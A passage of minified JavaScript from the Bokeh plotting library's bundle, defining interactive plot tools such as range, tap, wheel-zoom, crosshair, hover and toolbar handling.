Tool\\\",e.icon=\\\"bk-tool-icon-range\\\",e.event_type=\\\"pan\\\",e.default_order=1,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"RangeTool\\\",this.prototype.default_view=a,this.define({x_range:[o.Instance,null],x_interaction:[o.Bool,!0],y_range:[o.Instance,null],y_interaction:[o.Bool,!0],overlay:[o.Instance,u]})},t.prototype.initialize=function(){i.prototype.initialize.call(this),this.overlay.in_cursor=\\\"grab\\\",this.overlay.ew_cursor=null!=this.x_range&&this.x_interaction?\\\"ew-resize\\\":null,this.overlay.ns_cursor=null!=this.y_range&&this.y_interaction?\\\"ns-resize\\\":null},t.prototype.update_overlay_from_ranges=function(){null==this.x_range&&null==this.y_range&&(this.overlay.left=null,this.overlay.right=null,this.overlay.bottom=null,this.overlay.top=null,r.logger.warn(\\\"RangeTool not configured with any Ranges.\\\")),null==this.x_range?(this.overlay.left=null,this.overlay.right=null):(this.overlay.left=this.x_range.start,this.overlay.right=this.x_range.end),null==this.y_range?(this.overlay.bottom=null,this.overlay.top=null):(this.overlay.bottom=this.y_range.start,this.overlay.top=this.y_range.end)},t}(s.GestureTool);(i.RangeTool=c).initClass()},function(t,e,i){var y=t(391),n=t(251),o=t(186),r=t(271),s=t(15),a=t(5),b=t(3),l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return y.__extends(e,t),Object.defineProperty(e.prototype,\\\"computed_renderers\\\",{get:function(){var t=this.model.renderers,e=this.plot_model.plot.renderers,i=this.model.names;return r.compute_renderers(t,e,i)},enumerable:!0,configurable:!0}),e.prototype._computed_renderers_by_data_source=function(){for(var t={},e=0,i=this.computed_renderers;e<i.length;e++){var n=i[e],r=void 0;(r=n instanceof o.GraphRenderer?n.node_renderer.data_source.id:n.data_source.id)in t||(t[r]=[]),t[r].push(n)}return t},e.prototype._keyup=function(t){if(t.keyCode==a.Keys.Esc){for(var e=0,i=this.computed_renderers;e<i.length;e++){var n=i[e],r=n.data_source,o=r.selection_manager;o.clear()}this.plot_view.request_render()}},e.prototype._select=function(t,e,i){var n=this._computed_renderers_by_data_source();for(var r in n){for(var o=n[r],s=o[0].get_selection_manager(),a=[],l=0,h=o;l<h.length;l++){var u=h[l];u.id in this.plot_view.renderer_views&&a.push(this.plot_view.renderer_views[u.id])}s.select(a,t,e,i)}null!=this.model.callback&&this._emit_callback(t),this._emit_selection_event(t,e)},e.prototype._emit_selection_event=function(t,e){void 0===e&&(e=!0);var i,n=this.plot_model.frame.xscales.default,r=this.plot_model.frame.yscales.default;switch(t.type){case\\\"point\\\":var o=t.sx,s=t.sy,a=n.invert(o),l=r.invert(s);i=y.__assign({},t,{x:a,y:l});break;case\\\"rect\\\":var h=t.sx0,u=t.sx1,c=t.sy0,_=t.sy1,p=n.r_invert(h,u),d=p[0],f=p[1],v=r.r_invert(c,_),m=v[0],g=v[1];i=y.__assign({},t,{x0:d,y0:m,x1:f,y1:g});break;case\\\"poly\\\":var o=t.sx,s=t.sy,a=n.v_invert(o),l=r.v_invert(s);i=y.__assign({},t,{x:a,y:l});break;default:throw new Error(\\\"Unrecognized selection geometry type: '\\\"+t.type+\\\"'\\\")}this.plot_model.plot.trigger_event(new b.SelectionGeometry({geometry:i,final:e}))},e}(n.GestureToolView);i.SelectToolView=l;var h=function(e){function t(t){return e.call(this,t)||this}return y.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"SelectTool\\\",this.define({renderers:[s.Any,\\\"auto\\\"],names:[s.Array,[]]})},t}(n.GestureTool);(i.SelectTool=h).initClass()},function(t,e,i){var x=t(391),n=t(256),r=t(15),w=t(44),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return x.__extends(e,t),e.prototype._tap=function(t){var e=t.sx,i=t.sy,n={type:\\\"point\\\",sx:e,sy:i},r=t.shiftKey;this._select(n,!0,r)},e.prototype._select=function(t,e,i){var n=this,r=this.model.callback;if(\\\"select\\\"==this.model.behavior){var o=this._computed_renderers_by_data_source();for(var s in o){var a=o[s],l=a[0].get_selection_manager(),h=a.map(function(t){return n.plot_view.renderer_views[t.id]}),u=l.select(h,t,e,i);if(u&&null!=r){var c=this.plot_model.frame,_=c.xscales[a[0].x_range_name],p=c.yscales[a[0].y_range_name],d=_.invert(t.sx),f=p.invert(t.sy),v=x.__assign({},t,{x:d,y:f}),m={geometries:v,source:l.source};w.isFunction(r)?r(this,m):r.execute(this,m)}}this._emit_selection_event(t),this.plot_view.push_state(\\\"tap\\\",{selection:this.plot_view.get_selection()})}else for(var g=0,y=this.computed_renderers;g<y.length;g++){var b=y[g],l=b.get_selection_manager(),u=l.inspect(this.plot_view.renderer_views[b.id],t);if(u&&null!=r){var c=this.plot_model.frame,_=c.xscales[b.x_range_name],p=c.yscales[b.y_range_name],d=_.invert(t.sx),f=p.invert(t.sy),v=x.__assign({},t,{x:d,y:f}),m={geometries:v,source:l.source};w.isFunction(r)?r(this,m):r.execute(this,m)}}},e}(n.SelectToolView);i.TapToolView=o;var s=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Tap\\\",e.icon=\\\"bk-tool-icon-tap-select\\\",e.event_type=\\\"tap\\\",e.default_order=10,e}return x.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"TapTool\\\",this.prototype.default_view=o,this.define({behavior:[r.String,\\\"select\\\"],callback:[r.Any]})},t}(n.SelectTool);(i.TapTool=s).initClass()},function(t,e,i){var n=t(391),r=t(251),o=t(15),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._scroll=function(t){var e=this.model.speed*t.delta;.9<e?e=.9:e<-.9&&(e=-.9),this._update_ranges(e)},e.prototype._update_ranges=function(t){var e,i,n,r,o=this.plot_model.frame,s=o.bbox.h_range,a=o.bbox.v_range,l=[s.start,s.end],h=l[0],u=l[1],c=[a.start,a.end],_=c[0],p=c[1];switch(this.model.dimension){case\\\"height\\\":var d=Math.abs(p-_);e=h,i=u,n=_-d*t,r=p-d*t;break;case\\\"width\\\":var f=Math.abs(u-h);e=h-f*t,i=u-f*t,n=_,r=p;break;default:throw new Error(\\\"this shouldn't have happened\\\")}var v=o.xscales,m=o.yscales,g={};for(var y in v){var b=v[y],x=b.r_invert(e,i),w=x[0],k=x[1];g[y]={start:w,end:k}}var S={};for(var C in m){var b=m[C],T=b.r_invert(n,r),w=T[0],k=T[1];S[C]={start:w,end:k}}var A={xrs:g,yrs:S,factor:t};this.plot_view.push_state(\\\"wheel_pan\\\",{range:A}),this.plot_view.update_range(A,!1,!0),null!=this.model.document&&this.model.document.interactive_start(this.plot_model.plot)},e}(r.GestureToolView);i.WheelPanToolView=s;var a=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Wheel Pan\\\",e.icon=\\\"bk-tool-icon-wheel-pan\\\",e.event_type=\\\"scroll\\\",e.default_order=12,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"WheelPanTool\\\",this.prototype.default_view=s,this.define({dimension:[o.Dimension,\\\"width\\\"]}),this.internal({speed:[o.Number,.001]})},Object.defineProperty(t.prototype,\\\"tooltip\\\",{get:function(){return this._get_dim_tooltip(this.tool_name,this.dimension)},enumerable:!0,configurable:!0}),t}(r.GestureTool);(i.WheelPanTool=a).initClass()},function(t,e,i){var n=t(391),r=t(251),c=t(46),o=t(15),s=t(20),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._pinch=function(t){var e,i=t.sx,n=t.sy,r=t.scale;e=1<=r?20*(r-1):-20/r,this._scroll({type:\\\"mousewheel\\\",sx:i,sy:n,delta:e})},e.prototype._scroll=function(t){var e=this.plot_model.frame,i=e.bbox.h_range,n=e.bbox.v_range,r=t.sx,o=t.sy,s=this.model.dimensions,a=(\\\"width\\\"==s||\\\"both\\\"==s)&&i.start<r&&r<i.end,l=(\\\"height\\\"==s||\\\"both\\\"==s)&&n.start<o&&o<n.end;if(a&&l||this.model.zoom_on_axis){var h=this.model.speed*t.delta,u=c.scale_range(e,h,a,l,{x:r,y:o});this.plot_view.push_state(\\\"wheel_zoom\\\",{range:u}),this.plot_view.update_range(u,!1,!0,this.model.maintain_focus),null!=this.model.document&&this.model.document.interactive_start(this.plot_model.plot)}},e}(r.GestureToolView);i.WheelZoomToolView=a;var l=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Wheel Zoom\\\",e.icon=\\\"bk-tool-icon-wheel-zoom\\\",e.event_type=s.is_mobile?\\\"pinch\\\":\\\"scroll\\\",e.default_order=10,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"WheelZoomTool\\\",this.prototype.default_view=a,this.define({dimensions:[o.Dimensions,\\\"both\\\"],maintain_focus:[o.Boolean,!0],zoom_on_axis:[o.Boolean,!0],speed:[o.Number,1/600]})},Object.defineProperty(t.prototype,\\\"tooltip\\\",{get:function(){return this._get_dim_tooltip(this.tool_name,this.dimensions)},enumerable:!0,configurable:!0}),t}(r.GestureTool);(i.WheelZoomTool=l).initClass()},function(t,e,i){var n=t(232);i.ActionTool=n.ActionTool;var r=t(233);i.CustomAction=r.CustomAction;var o=t(234);i.HelpTool=o.HelpTool;var s=t(235);i.RedoTool=s.RedoTool;var a=t(236);i.ResetTool=a.ResetTool;var l=t(237);i.SaveTool=l.SaveTool;var h=t(238);i.UndoTool=h.UndoTool;var u=t(239);i.ZoomInTool=u.ZoomInTool;var c=t(240);i.ZoomOutTool=c.ZoomOutTool;var _=t(241);i.ButtonTool=_.ButtonTool;var p=t(243);i.EditTool=p.EditTool;var d=t(242);i.BoxEditTool=d.BoxEditTool;var f=t(244);i.FreehandDrawTool=f.FreehandDrawTool;var v=t(245);i.PointDrawTool=v.PointDrawTool;var m=t(246);i.PolyDrawTool=m.PolyDrawTool;var g=t(248);i.PolyTool=g.PolyTool;var y=t(247);i.PolyEditTool=y.PolyEditTool;var b=t(249);i.BoxSelectTool=b.BoxSelectTool;var x=t(250);i.BoxZoomTool=x.BoxZoomTool;var w=t(251);i.GestureTool=w.GestureTool;var k=t(252);i.LassoSelectTool=k.LassoSelectTool;var S=t(253);i.PanTool=S.PanTool;var C=t(254);i.PolySelectTool=C.PolySelectTool;var T=t(255);i.RangeTool=T.RangeTool;var A=t(256);i.SelectTool=A.SelectTool;var E=t(257);i.TapTool=E.TapTool;var M=t(258);i.WheelPanTool=M.WheelPanTool;var O=t(259);i.WheelZoomTool=O.WheelZoomTool;var z=t(261);i.CrosshairTool=z.CrosshairTool;var P=t(262);i.CustomJSHover=P.CustomJSHover;var j=t(263);i.HoverTool=j.HoverTool;var N=t(264);i.InspectTool=N.InspectTool;var F=t(266);i.Tool=F.Tool;var D=t(267);i.ToolProxy=D.ToolProxy;var I=t(268);i.Toolbar=I.Toolbar;var R=t(269);i.ToolbarBase=R.ToolbarBase;var B=t(270);i.ProxyToolbar=B.ProxyToolbar;var L=t(270);i.ToolbarBox=L.ToolbarBox},function(t,e,i){var n=t(391),r=t(264),o=t(73),s=t(15),a=t(32),l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._move=function(t){if(this.model.active){var e=t.sx,i=t.sy;this.plot_model.frame.bbox.contains(e,i)?this._update_spans(e,i):this._update_spans(null,null)}},e.prototype._move_exit=function(t){this._update_spans(null,null)},e.prototype._update_spans=function(t,e){var i=this.model.dimensions;\\\"width\\\"!=i&&\\\"both\\\"!=i||(this.model.spans.width.computed_location=e),\\\"height\\\"!=i&&\\\"both\\\"!=i||(this.model.spans.height.computed_location=t)},e}(r.InspectToolView);i.CrosshairToolView=l;var h=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Crosshair\\\",e.icon=\\\"bk-tool-icon-crosshair\\\",e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"CrosshairTool\\\",this.prototype.default_view=l,this.define({dimensions:[s.Dimensions,\\\"both\\\"],line_color:[s.Color,\\\"black\\\"],line_width:[s.Number,1],line_alpha:[s.Number,1]}),this.internal({location_units:[s.SpatialUnits,\\\"screen\\\"],render_mode:[s.RenderMode,\\\"css\\\"],spans:[s.Any]})},Object.defineProperty(t.prototype,\\\"tooltip\\\",{get:function(){return this._get_dim_tooltip(\\\"Crosshair\\\",this.dimensions)},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"synthetic_renderers\\\",{get:function(){return a.values(this.spans)},enumerable:!0,configurable:!0}),t.prototype.initialize=function(){i.prototype.initialize.call(this),this.spans={width:new o.Span({for_hover:!0,dimension:\\\"width\\\",render_mode:this.render_mode,location_units:this.location_units,line_color:this.line_color,line_width:this.line_width,line_alpha:this.line_alpha}),height:new o.Span({for_hover:!0,dimension:\\\"height\\\",render_mode:this.render_mode,location_units:this.location_units,line_color:this.line_color,line_width:this.line_width,line_alpha:this.line_alpha})}},t}(r.InspectTool);(i.CrosshairTool=h).initClass()},function(r,t,o){var i=r(391),e=r(59),n=r(15),s=r(32),a=r(38),l=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CustomJSHover\\\",this.define({args:[n.Any,{}],code:[n.String,\\\"\\\"]})},Object.defineProperty(t.prototype,\\\"values\\\",{get:function(){return s.values(this.args)},enumerable:!0,configurable:!0}),t.prototype._make_code=function(t,e,i,n){return new(Function.bind.apply(Function,[void 0].concat(s.keys(this.args),[t,e,i,\\\"require\\\",\\\"exports\\\",a.use_strict(n)])))},t.prototype.format=function(t,e,i){var n=this._make_code(\\\"value\\\",\\\"format\\\",\\\"special_vars\\\",this.code);return n.apply(void 0,this.values.concat([t,e,i,r,o]))},t}(e.Model);(o.CustomJSHover=l).initClass()},function(t,e,i){var f=t(391),n=t(264),s=t(77),Z=t(185),tt=t(186),o=t(271),c=t(9),k=t(40),S=t(5),r=t(15),C=t(27),et=t(32),T=t(44),a=t(4);function it(t,e,i,n,r,o){var s,a,l={x:r[t],y:o[t]},h={x:r[t+1],y:o[t+1]};if(\\\"span\\\"==e.type)\\\"h\\\"==e.direction?(s=Math.abs(l.x-i),a=Math.abs(h.x-i)):(s=Math.abs(l.y-n),a=Math.abs(h.y-n));else{var u={x:i,y:n};s=c.dist_2_pts(l,u),a=c.dist_2_pts(h,u)}return s<a?[[l.x,l.y],t]:[[h.x,h.y],t+1]}function nt(t,e,i){return[[t[i],e[i]],i]}i._nearest_line_hit=it,i._line_hit=nt;var l=function(r){function t(){return null!==r&&r.apply(this,arguments)||this}return f.__extends(t,r),t.prototype.initialize=function(t){r.prototype.initialize.call(this,t),this.ttviews={}},t.prototype.remove=function(){a.remove_views(this.ttviews),r.prototype.remove.call(this)},t.prototype.connect_signals=function(){var t=this;r.prototype.connect_signals.call(this);for(var e=0,i=this.computed_renderers;e<i.length;e++){var n=i[e];n instanceof Z.GlyphRenderer?this.connect(n.data_source.inspect,this._update):(this.connect(n.node_renderer.data_source.inspect,this._update),this.connect(n.edge_renderer.data_source.inspect,this._update))}this.connect(this.model.properties.renderers.change,function(){return t._computed_renderers=t._ttmodels=null}),this.connect(this.model.properties.names.change,function(){return t._computed_renderers=t._ttmodels=null}),this.connect(this.model.properties.tooltips.change,function(){return t._ttmodels=null})},t.prototype._compute_ttmodels=function(){var t={},e=this.model.tooltips;if(null!=e)for(var i=0,n=this.computed_renderers;i<n.length;i++){var r=n[i];if(r instanceof Z.GlyphRenderer){var o=new s.Tooltip({custom:T.isString(e)||T.isFunction(e),attachment:this.model.attachment,show_arrow:this.model.show_arrow});t[r.id]=o}else{var o=new s.Tooltip({custom:T.isString(e)||T.isFunction(e),attachment:this.model.attachment,show_arrow:this.model.show_arrow});t[r.node_renderer.id]=o,t[r.edge_renderer.id]=o}}return a.build_views(this.ttviews,et.values(t),{parent:this,plot_view:this.plot_view}),t},Object.defineProperty(t.prototype,\\\"computed_renderers\\\",{get:function(){if(null==this._computed_renderers){var t=this.model.renderers,e=this.plot_model.plot.renderers,i=this.model.names;this._computed_renderers=o.compute_renderers(t,e,i)}return this._computed_renderers},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"ttmodels\\\",{get:function(){return null==this._ttmodels&&(this._ttmodels=this._compute_ttmodels()),this._ttmodels},enumerable:!0,configurable:!0}),t.prototype._clear=function(){for(var t in this._inspect(1/0,1/0),this.ttmodels){var e=this.ttmodels[t];e.clear()}},t.prototype._move=function(t){if(this.model.active){var e=t.sx,i=t.sy;this.plot_model.frame.bbox.contains(e,i)?this._inspect(e,i):this._clear()}},t.prototype._move_exit=function(){this._clear()},t.prototype._inspect=function(t,e){var i;if(\\\"mouse\\\"==this.model.mode)i={type:\\\"point\\\",sx:t,sy:e};else{var n=\\\"vline\\\"==this.model.mode?\\\"h\\\":\\\"v\\\";i={type:\\\"span\\\",direction:n,sx:t,sy:e}}for(var r=0,o=this.computed_renderers;r<o.length;r++){var s=o[r],a=s.get_selection_manager();a.inspect(this.plot_view.renderer_views[s.id],i)}null!=this.model.callback&&this._emit_callback(i)},t.prototype._update=function(t){var e,i,n,r,o,s,a,l,h,u,c,_,p,d,f,v,m=t[0],g=t[1].geometry;if(this.model.active&&(m instanceof Z.GlyphRendererView||m instanceof tt.GraphRendererView)){var y=m.model,b=this.ttmodels[y.id];if(null!=b){b.clear();var x=y.get_selection_manager(),w=x.inspectors[y.id];if(y instanceof Z.GlyphRenderer&&(w=y.view.convert_selection_to_subset(w)),!w.is_empty()){for(var k=x.source,S=this.plot_model.frame,C=g.sx,T=g.sy,A=S.xscales[y.x_range_name],E=S.yscales[y.y_range_name],M=A.invert(C),O=E.invert(T),z=m.glyph,P=0,j=w.line_indices;P<j.length;P++){var N=j[P],F=z._x[N+1],D=z._y[N+1],I=N,R=void 0,B=void 0;switch(this.model.line_policy){case\\\"interp\\\":e=z.get_interpolation_hit(N,g),F=e[0],D=e[1],R=A.compute(F),B=E.compute(D);break;case\\\"prev\\\":i=nt(z.sx,z.sy,N),n=i[0],R=n[0],B=n[1],I=i[1];break;case\\\"next\\\":r=nt(z.sx,z.sy,N+1),o=r[0],R=o[0],B=o[1],I=r[1];break;case\\\"nearest\\\":s=it(N,g,C,T,z.sx,z.sy),a=s[0],R=a[0],B=a[1],I=s[1],F=z._x[I],D=z._y[I];break;default:R=(l=[C,T])[0],B=l[1]}var L={index:I,x:M,y:O,sx:C,sy:T,data_x:F,data_y:D,rx:R,ry:B,indices:w.line_indices,name:m.model.name};b.add(R,B,this._render_tooltips(k,I,L))}for(var V=0,G=w.image_indices;V<G.length;V++){var U=G[V],L={index:U.index,x:M,y:O,sx:C,sy:T},q=this._render_tooltips(k,U,L);b.add(C,T,q)}for(var Y=0,X=w.indices;Y<X.length;Y++){var N=X[Y];if(et.isEmpty(w.multiline_indices)){var F=null!=z._x?z._x[N]:void 0,D=null!=z._y?z._y[N]:void 0,R=void 0,B=void 0;if(\\\"snap_to_data\\\"==this.model.point_policy){var H=z.get_anchor_point(this.model.anchor,N,[C,T]);null==H&&(H=z.get_anchor_point(\\\"center\\\",N,[C,T])),R=H.x,B=H.y}else R=(v=[C,T])[0],B=v[1];var W=void 0,L={index:W=y instanceof Z.GlyphRenderer?y.view.convert_indices_from_subset([N])[0]:N,x:M,y:O,sx:C,sy:T,data_x:F,data_y:D,indices:w.indices,name:m.model.name};b.add(R,B,this._render_tooltips(k,W,L))}else for(var J=0,Q=w.multiline_indices[N.toString()];J<Q.length;J++){var $=Q[J],F=z._xs[N][$],D=z._ys[N][$],K=$,R=void 0,B=void 0;switch(this.model.line_policy){case\\\"interp\\\":h=z.get_interpolation_hit(N,$,g),F=h[0],D=h[1],R=A.compute(F),B=E.compute(D);break;case\\\"prev\\\":u=nt(z.sxs[N],z.sys[N],$),c=u[0],R=c[0],B=c[1],K=u[1];break;case\\\"next\\\":_=nt(z.sxs[N],z.sys[N],$+1),p=_[0],R=p[0],B=p[1],K=_[1];break;case\\\"nearest\\\":d=it($,g,C,T,z.sxs[N],z.sys[N]),f=d[0],R=f[0],B=f[1],K=d[1],F=z._xs[N][K],D=z._ys[N][K];break;default:throw new Error(\\\"should't have happened\\\")}var W=void 0,L={index:W=y instanceof Z.GlyphRenderer?y.view.convert_indices_from_subset([N])[0]:N,segment_index:K,x:M,y:O,sx:C,sy:T,data_x:F,data_y:D,indices:w.multiline_indices,name:m.model.name};b.add(R,B,this._render_tooltips(k,W,L))}}}}}},t.prototype._emit_callback=function(t){for(var e=0,i=this.computed_renderers;e<i.length;e++){var n=i[e],r=n.data_source.inspected,o=this.plot_model.frame,s=o.xscales[n.x_range_name],a=o.yscales[n.y_range_name],l=s.invert(t.sx),h=a.invert(t.sy),u=f.__assign({x:l,y:h},t),c=this.model.callback,_=[c,{index:r,geometry:u,renderer:n}],p=_[0],d=_[1];T.isFunction(c)?c(p,d):c.execute(p,d)}},t.prototype._render_tooltips=function(t,e,i){var n=this.model.tooltips;if(T.isString(n)){var r=S.div();return r.innerHTML=k.replace_placeholders(n,t,e,this.model.formatters,i),r}if(T.isFunction(n))return n(t,i);for(var o=S.div({style:{display:\\\"table\\\",borderSpacing:\\\"2px\\\"}}),s=0,a=n;s<a.length;s++){var l=a[s],h=l[0],u=l[1],c=S.div({style:{display:\\\"table-row\\\"}});o.appendChild(c);var _=void 0;if(_=S.div({style:{display:\\\"table-cell\\\"},class:\\\"bk-tooltip-row-label\\\"},h+\\\": \\\"),c.appendChild(_),_=S.div({style:{display:\\\"table-cell\\\"},class:\\\"bk-tooltip-row-value\\\"}),c.appendChild(_),0<=u.indexOf(\\\"$color\\\")){var p=u.match(/\\\\$color(\\\\[.*\\\\])?:(\\\\w*)/),d=p[1],f=void 0===d?\\\"\\\":d,v=p[2],m=t.get_column(v);if(null==m){var g=S.span({},v+\\\" unknown\\\");_.appendChild(g);continue}var y=0<=f.indexOf(\\\"hex\\\"),b=0<=f.indexOf(\\\"swatch\\\"),x=T.isNumber(e)?m[e]:null;if(null==x){var w=S.span({},\\\"(null)\\\");_.appendChild(w);continue}y&&(x=C.color2hex(x));var r=S.span({},x);_.appendChild(r),b&&(r=S.span({class:\\\"bk-tooltip-color-block\\\",style:{backgroundColor:x}},\\\" \\\"),_.appendChild(r))}else{var r=S.span();r.innerHTML=k.replace_placeholders(u.replace(\\\"$~\\\",\\\"$data_\\\"),t,e,this.model.formatters,i),_.appendChild(r)}}return o},t}(n.InspectToolView);i.HoverToolView=l;var h=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Hover\\\",e.icon=\\\"bk-tool-icon-hover\\\",e}return f.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"HoverTool\\\",this.prototype.default_view=l,this.define({tooltips:[r.Any,[[\\\"index\\\",\\\"$index\\\"],[\\\"data (x, y)\\\",\\\"($x, $y)\\\"],[\\\"screen (x, y)\\\",\\\"($sx, $sy)\\\"]]],formatters:[r.Any,{}],renderers:[r.Any,\\\"auto\\\"],names:[r.Array,[]],mode:[r.String,\\\"mouse\\\"],point_policy:[r.String,\\\"snap_to_data\\\"],line_policy:[r.String,\\\"nearest\\\"],show_arrow:[r.Boolean,!0],anchor:[r.String,\\\"center\\\"],attachment:[r.String,\\\"horizontal\\\"],callback:[r.Any]})},t}(n.InspectTool);(i.HoverTool=h).initClass()},function(t,e,i){var n=t(391),r=t(241),o=t(265),s=t(15),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e}(r.ButtonToolView);i.InspectToolView=a;var l=function(i){function t(t){var e=i.call(this,t)||this;return e.event_type=\\\"move\\\",e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"InspectTool\\\",this.prototype.button_view=o.OnOffButtonView,this.define({toggleable:[s.Bool,!0]}),this.override({active:!0})},t}(r.ButtonTool);(i.InspectTool=l).initClass()},function(t,e,i){var n=t(391),r=t(241),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.render=function(){t.prototype.render.call(this),this.model.active?this.el.classList.add(\\\"bk-active\\\"):this.el.classList.remove(\\\"bk-active\\\")},e.prototype._clicked=function(){var t=this.model.active;this.model.active=!t},e}(r.ButtonToolButtonView);i.OnOffButtonView=o},function(t,e,i){var n=t(391),r=t(15),o=t(48),_=t(21),s=t(59),a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.plot_view=t.plot_view},Object.defineProperty(t.prototype,\\\"plot_model\\\",{get:function(){return this.plot_view.model},enumerable:!0,configurable:!0}),t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.properties.active.change,function(){t.model.active?t.activate():t.deactivate()})},t.prototype.activate=function(){},t.prototype.deactivate=function(){},t}(o.View);i.ToolView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Tool\\\",this.internal({active:[r.Boolean,!1]})},Object.defineProperty(t.prototype,\\\"synthetic_renderers\\\",{get:function(){return[]},enumerable:!0,configurable:!0}),t.prototype._get_dim_tooltip=function(t,e){switch(e){case\\\"width\\\":return t+\\\" (x-axis)\\\";case\\\"height\\\":return t+\\\" (y-axis)\\\";case\\\"both\\\":return t}},t.prototype._get_dim_limits=function(t,e,i,n){var r,o=t[0],s=t[1],a=e[0],l=e[1],h=i.bbox.h_range;\\\"width\\\"==n||\\\"both\\\"==n?(r=[_.min([o,a]),_.max([o,a])],r=[_.max([r[0],h.start]),_.min([r[1],h.end])]):r=[h.start,h.end];var u,c=i.bbox.v_range;return\\\"height\\\"==n||\\\"both\\\"==n?(u=[_.min([s,l]),_.max([s,l])],u=[_.max([u[0],c.start]),_.min([u[1],c.end])]):u=[c.start,c.end],[r,u]},t}(s.Model);(i.Tool=l).initClass()},function(t,e,i){var n=t(391),r=t(15),o=t(19),s=t(59),a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ToolProxy\\\",this.define({tools:[r.Array,[]],active:[r.Bool,!1],disabled:[r.Bool,!1]})},Object.defineProperty(t.prototype,\\\"button_view\\\",{get:function(){return this.tools[0].button_view},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"event_type\\\",{get:function(){return this.tools[0].event_type},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"tooltip\\\",{get:function(){return this.tools[0].tooltip},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"tool_name\\\",{get:function(){return this.tools[0].tool_name},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"icon\\\",{get:function(){return this.tools[0].computed_icon},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"computed_icon\\\",{get:function(){return this.icon},enumerable:!0,configurable:!0}),t.prototype.initialize=function(){e.prototype.initialize.call(this),this.do=new o.Signal0(this,\\\"do\\\")},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.do,function(){return t.doit()}),this.connect(this.properties.active.change,function(){return t.set_active()})},t.prototype.doit=function(){for(var t=0,e=this.tools;t<e.length;t++){var i=e[t];i.do.emit()}},t.prototype.set_active=function(){for(var t=0,e=this.tools;t<e.length;t++){var i=e[t];i.active=this.active}},t}(s.Model);(i.ToolProxy=a).initClass()},function(t,e,i){var n=t(391),r=t(15),v=t(14),m=t(44),g=t(21),y=t(232),b=t(234),x=t(251),w=t(264),o=t(269),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Toolbar\\\",this.prototype.default_view=o.ToolbarBaseView,this.define({active_drag:[r.Any,\\\"auto\\\"],active_inspect:[r.Any,\\\"auto\\\"],active_scroll:[r.Any,\\\"auto\\\"],active_tap:[r.Any,\\\"auto\\\"],active_multi:[r.Any,null]})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this._init_tools()},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.properties.tools.change,function(){return t._init_tools()})},t.prototype._init_tools=function(){for(var e=this,t=function(e){if(e instanceof w.InspectTool)g.any(s.inspectors,function(t){return t.id==e.id})||(s.inspectors=s.inspectors.concat([e]));else if(e instanceof b.HelpTool)g.any(s.help,function(t){return t.id==e.id})||(s.help=s.help.concat([e]));else if(e instanceof y.ActionTool)g.any(s.actions,function(t){return t.id==e.id})||(s.actions=s.actions.concat([e]));else if(e instanceof x.GestureTool){var t=void 0,i=void 0;m.isString(e.event_type)?(t=[e.event_type],i=!1):(t=e.event_type||[],i=!0);for(var n=0,r=t;n<r.length;n++){var o=r[n];o in s.gestures?(i&&(o=\\\"multi\\\"),g.any(s.gestures[o].tools,function(t){return t.id==e.id})||(s.gestures[o].tools=s.gestures[o].tools.concat([e])),s.connect(e.properties.active.change,s._active_change.bind(s,e))):v.logger.warn(\\\"Toolbar: unknown event type '\\\"+o+\\\"' for tool: \\\"+e.type+\\\" (\\\"+e.id+\\\")\\\")}}},s=this,i=0,n=this.tools;i<n.length;i++){var r=n[i];t(r)}if(\\\"auto\\\"==this.active_inspect);else if(this.active_inspect instanceof w.InspectTool)for(var o=0,a=this.inspectors;o<a.length;o++){var l=a[o];l!=this.active_inspect&&(l.active=!1)}else if(m.isArray(this.active_inspect))for(var h=0,u=this.inspectors;h<u.length;h++){var l=u[h];g.includes(this.active_inspect,l)||(l.active=!1)}else if(null==this.active_inspect)for(var c=0,_=this.inspectors;c<_.length;c++){var l=_[c];l.active=!1}var p=function(t){t.active?e._active_change(t):t.active=!0};for(var d in this.gestures){var f=this.gestures[d];if(0!=f.tools.length){if(f.tools=g.sortBy(f.tools,function(t){return 